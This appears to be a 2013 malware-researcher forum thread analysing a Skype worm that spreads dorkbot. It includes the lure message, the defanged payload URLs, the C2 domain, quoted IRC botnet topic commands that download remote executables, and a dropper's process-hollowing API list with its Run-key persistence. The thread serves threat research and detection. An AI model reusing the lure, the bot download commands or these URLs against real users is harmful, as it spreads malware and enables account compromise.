[hx1997]

VT 8/46
https://www.virustotal.com/en/file/1d4f ... 364124877/

MD5: 6B8E96CC7ADAF886C7D6DBBB83BE96DF

[Userbased]

Spreading message (for english keyboards) hi, really nice photos of you not? hxxp://ht.ly/jlJuN?photoalbum=skype.name
Expanded url hxxp://cbpm.sp.gov.br/images/fotos/foto.php
Visiting the page downloads photos_24_03_2013_JPE.zip. https://www.virustotal.com/en/file/18ca ... 364133499/
Inside the zip file is photos_24_03_2013_JPE.exe https://www.virustotal.com/en/file/44b9 ... 364133567/
photos_24_03_2013_JPE.exe is ngr/dorkbot, connects to mikimouse.net (Conection info here: http://www.exposedbotnets.com/2013/02/m ... osted.html)
Current channel topic
* Topic for #jobs is: !mdns http://risold.de/images/n.txt !dl http://hotfile.com/dl/199590621/c2677a7/r.exe.html !dl http://hotfile.com/dl/199670502/d727122/fbx2.exe.html
* Topic for #jobs set by h at Sun Mar 24 10:02:13 2013
r.exe is the skype worm
fbx2.exe has an unknown function, but the fbx2 in the name suggests it may attempt to spread on facebook. https://www.virustotal.com/en/file/5b88 ... 364134364/

[EP_X0FF]

fbx2.exe is a muldrop with Trojan:Win32/AgentBypass targetting Chrome and "Resource Hacker".

dropper contains this wonderful piece of crap.

Code: Select all

CreateProcessA,ReadProcessMemory,VirtualAlloc,GetThreadContext,VirtualAllocEx,WriteProcessMemory,SetThreadContext,
ResumeThread,NtUnmapViewOfSection,Kernel32,ntdll,GetModuleFileNameA,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run,1,,